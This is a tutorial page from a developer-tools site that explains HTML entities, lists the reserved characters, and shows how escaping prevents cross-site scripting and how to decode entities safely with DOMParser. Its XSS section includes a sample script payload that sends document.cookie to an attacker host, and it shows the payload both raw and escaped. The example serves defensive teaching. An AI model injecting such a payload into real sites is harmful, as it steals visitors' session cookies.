Toolvona
Developer Tools & Programming

How to Decode HTML Entities and Special Characters: Safe Web Rendering Guide

Why do quotes turn into " and ampersands become &? Learn how HTML character entities work, why escaping prevents XSS attacks, and how to decode text.

Updated: 18 November, 2026•7 min read
How to Decode HTML Entities and Special Characters: Safe Web Rendering Guide

Introduction#

If you have ever scraped web data, rendered user-submitted comments, or inspected raw database exports, you have undoubtedly encountered odd strings like:

text
Tom & Jerry "Best of 2026" © Warner Bros.

These strings are HTML Entities (also known as character entity references).

In HTML, certain characters have reserved syntactic meanings. The less-than sign (<) initiates an HTML tag, and the greater-than sign (>) terminates it. If a web browser encounters those characters in raw user text, it tries to parse them as markup.

In this guide, you will learn how HTML entities function, why escaping special characters is your primary defense against Cross-Site Scripting (XSS) vulnerabilities, and how to decode entities safely.

What Is an HTML Entity?#

An HTML entity is a standardized text snippet that begins with an ampersand (&) and concludes with a semicolon (;). It instructs the browser’s HTML parser to display a specific reserved or invisible character on screen rather than interpreting it as code.

For example, writing &lt; instructs the browser: "Render a literal visual '<' symbol; do not open a new HTML element."

Named Entities vs Numeric (Decimal / Hex) Entities#

HTML entities can be written in three distinct notations:

  • Named Entity: A human-readable code name (e.g., &copy; for the copyright symbol ©).
  • Decimal Entity: Unicode code point expressed in base-10 numbers (e.g., &#169;).
  • Hexadecimal Entity: Unicode code point preceded by #x in base-16 (e.g., &#xA9;).
  • All three formats render identically in modern web browsers.

    The 5 Critical Reserved HTML Characters#

    CharacterLiteral MeaningNamed EntityDecimal EntitySecurity Implication
    <Less than&lt;&#60;Opens an HTML tag
    >Greater than&gt;&#62;Closes an HTML tag
    &Ampersand&amp;&#38;Initiates an entity reference
    "Double quotation&quot;&#34;Delimits HTML attribute values
    'Single quotation&apos;&#39;Delimits HTML attribute values

    Essential HTML Entity Reference Table#

    SymbolDescriptionNamed EntityDecimal Entity
    ©Copyright&copy;&#169;
    ®Registered Trademark&reg;&#174;
    ™Trademark&trade;&#8482;
    €Euro Currency&euro;&#8364;
    £British Pound&pound;&#163;
    ¥Japanese Yen&yen;&#165;
    •Bullet Point&bull;&#8226;
    —Em Dash&mdash;&#8212;
    &nbsp;Non-Breaking Space&nbsp;&#160;

    How Escaping Prevents Cross-Site Scripting (XSS)#

    Cross-Site Scripting (XSS) occurs when malicious users inject executable JavaScript code into an application's database (for instance, via a blog comment form):

    html
    <!-- Unescaped Input: Executes Malicious Script in Visitor's Browser -->
    <script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>

    If your server converts reserved characters into HTML entities before rendering:

    html
    <!-- Escaped Input: Browser Safely Displays Harmless Text -->
    &lt;script&gt;fetch('https://attacker.com/steal?cookie=' + document.cookie);&lt;/script&gt;

    The browser renders the text literally on screen; zero script execution occurs!

    How to Safely Decode HTML Entities in JavaScript#

    To decode encoded HTML entities in modern client-side JavaScript without triggering XSS vulnerabilities through dangerous methods like innerHTML, use the browser’s built-in DOMParser:

    javascript
    function decodeHtmlEntities(encodedString) {
      const parser = new DOMParser();
      const doc = parser.parseFromString(encodedString, "text/html");
      return doc.documentElement.textContent;
    }
    
    // Example usage:
    decodeHtmlEntities("Tom &amp; Jerry &quot;Best of 2026&quot;");
    // Returns: 'Tom & Jerry "Best of 2026"'

    Encode and decode markup safely with our free web utilities:

  • HTML Entity Encoder – Convert characters to safe named and numeric entities instantly.
  • HTML Encoder / Decoder – Decode escaped HTML strings back to readable text.
  • JSON Formatter – Validate and escape JSON payloads containing stringified markup.
  • Frequently Asked Questions#

    What is &nbsp; and when should it be used?#

    &nbsp; stands for Non-Breaking Space. It prevents an automatic line break between two words that should stay together (e.g., between 100 and km/h, or inside monetary figures like $10 million).

    Does modern UTF-8 eliminate the need for HTML entities?#

    For foreign language characters (like accents and emojis), UTF-8 makes entities optional. However, for the 5 reserved syntax characters (< > & " '), HTML entities remain mandatory to prevent parsing errors and XSS attacks.

    Summary#

    HTML entities are a fundamental layer of web safety and typographic fidelity. By escaping reserved symbols during output rendering and decoding them via safe DOMParser APIs, you protect your users against XSS attacks while maintaining accurate textual presentation.

    Tags:HTML EntitiesWeb SecurityXSS PreventionHTML EncodingFrontend Development